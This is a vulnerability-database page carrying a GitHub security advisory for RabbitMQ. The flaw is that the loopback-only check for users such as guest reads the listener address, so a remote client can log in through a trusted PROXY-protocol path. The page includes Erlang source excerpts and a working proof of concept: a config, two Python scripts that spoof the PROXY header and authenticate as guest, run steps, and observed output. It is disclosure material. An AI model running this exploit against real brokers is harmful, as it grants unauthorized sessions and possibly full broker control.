Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-36m6-588r-vqcw

Опубликовано: 24 июн. 2026
Источник: github
Github: Не прошло ревью
CVSS3: 6.8

Описание

AMQP 1.0, AMQP 0-9-1, Stream Protocol loopback enforcement can lead to remote guest sessions due to listener-address loopback checks

Summary

RabbitMQ AMQP 0-9-1 authentication allows a loopback-restricted user to connect remotely when traffic is accepted through a trusted PROXY-protocol path and the backend listener is loopback-bound. The issue occurs because the loopback check is performed on the accepted socket and resolves loopback using the listener-side address (sockname) instead of the real client source. In the validated run, the connection was recorded with non-loopback peer_host from PROXY metadata while the authenticated user was guest and the connection state reached running. This behavior conflicts with documented loopback-user expectations and was classified as not intended in the intended-behavior stage. The executed PoC demonstrates the authentication boundary bypass for loopback-restricted login, which is the specific effect proven here.

Impact

A remote actor who can reach a trusted PROXY-protocol frontend and provide valid loopback-restricted credentials can obtain a live AMQP session as that user, and in deployments where guest keeps default admin privileges this can escalate to full broker control.

Description

The listener handshake path accepts PROXY headers and wraps the socket with proxy metadata. https://github.com/rabbitmq/rabbitmq-server/blob/83866edcc995602f546f3c4147078b3a610b0075/deps/rabbit/src/rabbit_networking.erl#L581-L593

handshake(Ref, ProxyProtocolEnabled, BufferStrategy) -> case ProxyProtocolEnabled of true -> case ranch:recv_proxy_header(Ref, 3000) of {error, Error} -> failed_to_recv_proxy_header(Ref, Error); {error, protocol_error, Error} -> failed_to_recv_proxy_header(Ref, Error); {ok, ProxyInfo} -> {ok, Sock} = ranch_handshake(Ref), ok = tune_buffer_size(Sock, BufferStrategy), {ok, {rabbit_proxy_socket, Sock, ProxyInfo}} end; false -> {ok, Sock} = ranch_handshake(Ref), ok = tune_buffer_size(Sock, BufferStrategy), {ok, Sock} end.

The connection startup path immediately unwraps the socket for later auth checks and stores proxy metadata separately. https://github.com/rabbitmq/rabbitmq-server/blob/83866edcc995602f546f3c4147078b3a610b0075/deps/rabbit/src/rabbit_reader.erl#L288-L340

start_connection(Parent, HelperSups, RanchRef, Deb, Sock) -> process_flag(trap_exit, true), RealSocket = rabbit_net:unwrap_socket(Sock), Name = case rabbit_net:connection_string(Sock, inbound) of {ok, Str} -> list_to_binary(Str); {error, enotconn} -> _ = rabbit_net:fast_close(RealSocket), exit(normal); {error, Reason} -> socket_error(Reason), _ = rabbit_net:fast_close(RealSocket), exit(normal) end, {ok, HandshakeTimeout} = application:get_env(rabbit, handshake_timeout), InitialFrameMax = application:get_env(rabbit, initial_frame_max, ?FRAME_MIN_SIZE), erlang:send_after(HandshakeTimeout, self(), handshake_timeout), {PeerHost, PeerPort, Host, Port} = socket_op(Sock, fun (S) -> rabbit_net:socket_ends(S, inbound) end), ?store_proc_name(Name), ConnectedAt = os:system_time(millisecond), State = #v1{parent = Parent, ranch_ref = RanchRef, sock = RealSocket, connection = #connection{ name = Name, log_name = Name, host = Host, peer_host = PeerHost, port = Port, peer_port = PeerPort, user = none, timeout_sec = (HandshakeTimeout / 1000), frame_max = InitialFrameMax, vhost = none, client_properties = none, capabilities = [], auth_mechanism = none, auth_state = none, connected_at = ConnectedAt}, callback = uninitialized_callback, recv_len = 0, pending_recv = false, connection_state = pre_init, queue_collector = undefined, %% started on tune-ok helper_sup = HelperSups, heartbeater = none, channel_sup_sup_pid = none, channel_count = 0, throttle = #throttle{ last_blocked_at = never, should_block = false, blocked_by = sets:new([{version, 2}]), connection_blocked_message_sent = false }, proxy_socket = rabbit_net:maybe_get_proxy_socket(Sock)},

The authentication phase calls the loopback-user gate with that socket and transitions to tuning on success. https://github.com/rabbitmq/rabbitmq-server/blob/83866edcc995602f546f3c4147078b3a610b0075/deps/rabbit/src/rabbit_reader.erl#L1507-L1524

{ok, User = #user{username = Username}} -> case rabbit_access_control:check_user_loopback(Username, Sock) of ok -> rabbit_core_metrics:auth_attempt_succeeded(RemoteAddress, Username, amqp091), notify_auth_result(Username, user_authentication_success, [], State); not_allowed -> rabbit_core_metrics:auth_attempt_failed(RemoteAddress, Username, amqp091), auth_fail(Username, "user '~ts' can only connect via " "localhost", [Username], Name, State) end, Tune = #'connection.tune'{frame_max = get_env(frame_max), channel_max = get_env(channel_max), heartbeat = get_env(heartbeat)}, ok = send_on_channel0(Sock, Tune), State#v1{connection_state = tuning, connection = Connection#connection{user = User, auth_state = none}}

The loopback-user gate allows login when rabbit_net:is_loopback(SockOrAddr) is true. https://github.com/rabbitmq/rabbitmq-server/blob/83866edcc995602f546f3c4147078b3a610b0075/deps/rabbit/src/rabbit_access_control.erl#L275-L281

check_user_loopback(Username, SockOrAddr) -> {ok, Users} = application:get_env(rabbit, loopback_users), case rabbit_net:is_loopback(SockOrAddr) orelse not lists:member(Username, Users) of true -> ok; false -> not_allowed end.

The socket loopback helper uses sockname(Sock), which evaluates the listener bind address instead of the remote peer. https://github.com/rabbitmq/rabbitmq-server/blob/83866edcc995602f546f3c4147078b3a610b0075/deps/rabbit_common/src/rabbit_net.erl#L278-L288

is_loopback(Sock) when is_port(Sock) ; ?IS_SSL(Sock) -> case sockname(Sock) of {ok, {Addr, _Port}} -> is_loopback(Addr); {error, _} -> false end; %% We could parse the results of inet:getifaddrs() instead. But that %% would be more complex and less maybe Windows-compatible... is_loopback({127,_,_,_}) -> true; is_loopback({0,0,0,0,0,0,0,1}) -> true; is_loopback({0,0,0,0,0,65535,AB,CD}) -> is_loopback(ipv4(AB, CD)); is_loopback(_) -> false.

Proof of Concept (PoC)

The finding was validated against the 83866edcc995602f546f3c4147078b3a610b0075 commit.

  1. Create rabbitmq.conf with the exact content below.
listeners.tcp.default = 127.0.0.1:5674 management.tcp.port = 15674 management.tcp.ip = 127.0.0.1 proxy_protocol = true
  1. Create helper file amqp_frames.py with the exact content below.
import struct FRAME_METHOD = 1 FRAME_END = 0xCE def recvn(sock, n): buf = b"" while len(buf) < n: chunk = sock.recv(n - len(buf)) if not chunk: raise EOFError("socket closed") buf += chunk return buf def read_frame(sock): header = recvn(sock, 7) frame_type = header[0] channel = struct.unpack(">H", header[1:3])[0] size = struct.unpack(">I", header[3:7])[0] payload = recvn(sock, size) frame_end = recvn(sock, 1)[0] if frame_end != FRAME_END: raise RuntimeError(f"bad frame end: {frame_end}") return frame_type, channel, payload def write_frame(sock, frame_type, channel, payload): sock.sendall(struct.pack(">BHI", frame_type, channel, len(payload)) + payload + bytes([FRAME_END])) def enc_shortstr(v): return struct.pack(">B", len(v)) + v def enc_longstr(v): return struct.pack(">I", len(v)) + v def method_payload(class_id, method_id, args=b""): return struct.pack(">HH", class_id, method_id) + args
  1. Create helper file amqp_proxy_connect.py with the exact content below.
import socket import struct import time from amqp_frames import FRAME_METHOD, read_frame, write_frame, enc_shortstr, enc_longstr, method_payload HOST = "127.0.0.1" PORT = 5674 USER = b"guest" PASS = b"guest" VHOST = b"/" SPOOF_SRC_IP = "198.51.100.10" SPOOF_SRC_PORT = 12345 def main(): sock = socket.create_connection((HOST, PORT), timeout=5) sock.sendall(f"PROXY TCP4 {SPOOF_SRC_IP} 127.0.0.1 {SPOOF_SRC_PORT} 5674\r\n".encode()) sock.sendall(b"AMQP\x00\x00\x09\x01") ft, ch, pl = read_frame(sock) if not (ft == FRAME_METHOD and ch == 0 and pl[:4] == struct.pack(">HH", 10, 10)): raise SystemExit("unexpected first frame") response = b"\x00" + USER + b"\x00" + PASS args = struct.pack(">I", 0) + enc_shortstr(b"PLAIN") + enc_longstr(response) + enc_shortstr(b"en_US") write_frame(sock, FRAME_METHOD, 0, method_payload(10, 11, args)) while True: ft, ch, pl = read_frame(sock) if not (ft == FRAME_METHOD and ch == 0): continue c, m = struct.unpack(">HH", pl[:4]) if (c, m) == (10, 30): channel_max = struct.unpack(">H", pl[4:6])[0] frame_max = struct.unpack(">I", pl[6:10])[0] heartbeat = struct.unpack(">H", pl[10:12])[0] tune_ok = struct.pack(">HIH", channel_max, frame_max, heartbeat) write_frame(sock, FRAME_METHOD, 0, method_payload(10, 31, tune_ok)) open_args = enc_shortstr(VHOST) + enc_shortstr(b"") + b"\x00" write_frame(sock, FRAME_METHOD, 0, method_payload(10, 40, open_args)) elif (c, m) == (10, 41): break elif (c, m) == (10, 50): reply_code = struct.unpack(">H", pl[4:6])[0] raise SystemExit(f"connection.close received reply_code={reply_code}") write_frame(sock, FRAME_METHOD, 1, method_payload(20, 10, enc_shortstr(b""))) while True: ft, ch, pl = read_frame(sock) if ft == FRAME_METHOD and ch == 1 and pl[:4] == struct.pack(">HH", 20, 11): break print(f"POC_OK: authenticated as guest with PROXY source {SPOOF_SRC_IP}", flush=True) time.sleep(20) if __name__ == "__main__": main()

PoC Steps

  1. Launch RabbitMQ with the provided rabbitmq.conf so AMQP listens on 127.0.0.1:5674 with proxy_protocol=true.
  2. Set loopback users on the live node to include guest: rabbitmqctl eval 'application:set_env(rabbit, loopback_users, [<<"guest">>]).'.
  3. Verify runtime config values: rabbitmqctl environment | egrep 'loopback_users|proxy_protocol|tcp_listeners'.
  4. Run python3 amqp_proxy_connect.py and keep it alive for 20 seconds as written.
  5. During that window, run rabbitmqctl -n rabbit@rmq-proxy-poc list_connections name user peer_host peer_port state.
  6. Confirm PoC stdout, connection listing, and process exit code.

PoC Results

Observed configuration evidence from the executed run:

=== config evidence === {loopback_users,[<<"guest">>]}, {proxy_protocol,true}, {tcp_listeners,[{"127.0.0.1",5674}]}, === listener evidence === LISTEN 0 128 127.0.0.1:5674 0.0.0.0:* users:(("beam.smp",pid=2873357,fd=34))

Observed PoC client stdout:

POC_OK: authenticated as guest with PROXY source 198.51.100.10

Observed broker-side connection state during the same run:

Listing connections ... name user peer_host peer_port state 198.51.100.10:12345 -> 127.0.0.1:5674 guest 198.51.100.10 12345 running

Observed PoC exit code:

0

This shows a non-loopback source reached an authenticated running AMQP session as loopback-restricted guest under the tested proxy/listener configuration.

Пакеты

Наименование

rabbitmq

vmware
Затронутые версииВерсия исправления

>= 4.2.0, < 4.2.6

4.2.6

Наименование

rabbitmq

vmware
Затронутые версииВерсия исправления

>= 4.1.0, < 4.1.11

4.1.11

Наименование

rabbitmq

vmware
Затронутые версииВерсия исправления

>= 4.0.0, < 4.0.20

4.0.20

Наименование

rabbitmq

vmware
Затронутые версииВерсия исправления

>= 3.13.0, < 3.13.15

3.13.15

EPSS

Процентиль: 40%
0.00504
Низкий

6.8 Medium

CVSS3

Связанные уязвимости

CVSS3: 6.8
ubuntu
23 дня назад

RabbitMQ is a messaging and streaming broker. Prior to 3.13.15, 4.0.20, 4.1.11, and 4.2.6, AMQP 0-9-1, AMQP 1.0, and Stream Protocol authentication can allow a loopback-restricted user such as guest to connect remotely when traffic is accepted through a trusted PROXY-protocol path and the backend listener is loopback-bound because the loopback check uses the listener-side socket address instead of the real client source. This issue is fixed in versions 3.13.15, 4.0.20, 4.1.11, and 4.2.6.

CVSS3: 6.8
nvd
23 дня назад

RabbitMQ is a messaging and streaming broker. Prior to 3.13.15, 4.0.20, 4.1.11, and 4.2.6, AMQP 0-9-1, AMQP 1.0, and Stream Protocol authentication can allow a loopback-restricted user such as guest to connect remotely when traffic is accepted through a trusted PROXY-protocol path and the backend listener is loopback-bound because the loopback check uses the listener-side socket address instead of the real client source. This issue is fixed in versions 3.13.15, 4.0.20, 4.1.11, and 4.2.6.

CVSS3: 6.8
msrc
19 дней назад

RabbitMQ: AMQP 1.0, AMQP 0-9-1, Stream Protocol loopback enforcement can lead to remote guest sessions due to listener-address loopback checks

CVSS3: 6.8
debian
23 дня назад

RabbitMQ is a messaging and streaming broker. Prior to 3.13.15, 4.0.20 ...

EPSS

Процентиль: 40%
0.00504
Низкий

6.8 Medium

CVSS3